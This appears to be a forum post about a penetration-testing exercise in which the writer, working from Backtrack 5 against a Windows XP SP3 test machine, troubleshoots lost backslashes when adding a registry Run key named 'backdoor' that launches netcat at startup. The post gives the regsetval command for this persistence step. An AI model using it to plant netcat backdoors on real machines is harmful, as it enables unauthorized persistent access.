I have been testing this as well. Using Backtrack 5 - 32bit - Gnome and the Victim machine is XP SP3 (Not Virtual).
I'm experiencing the similar thing as you absent \ from the registry value
Code:
"c:\windows\system32\nc.exe......."
I have noticed though, that if you set the registry key like this;
Code:
regsetval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run - backdoor -d C:\\Windows\\system32\\nc.exe
You will see the registry value is correct, c:\windows\system32\nc.exe
But as quickly as you use the " " to put up the spaces you lose the \ slashes. I will be keep playing with netcat.
Bookmarks